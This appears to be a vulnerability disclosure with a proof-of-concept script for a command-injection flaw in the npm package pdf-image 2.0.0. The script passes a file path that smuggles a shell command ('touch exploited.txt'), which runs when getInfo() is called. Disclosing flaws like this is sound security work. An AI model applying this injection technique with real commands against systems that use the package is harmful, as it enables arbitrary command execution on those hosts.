Package pdf-image: it is possible to inject a custom command to be executed rather than imagemagick (the focus of this package).

pdf-image-2.0.0_poc.js

'use strict'

const pkg = require('pdf-image');
console.log(pkg);

const pdfFilePath = '" | touch exploited.txt "';
const options = {

};

const i = new pkg.PDFImage(pdfFilePath, options);

// This will create a local 'exploited.txt' file.
i.getInfo();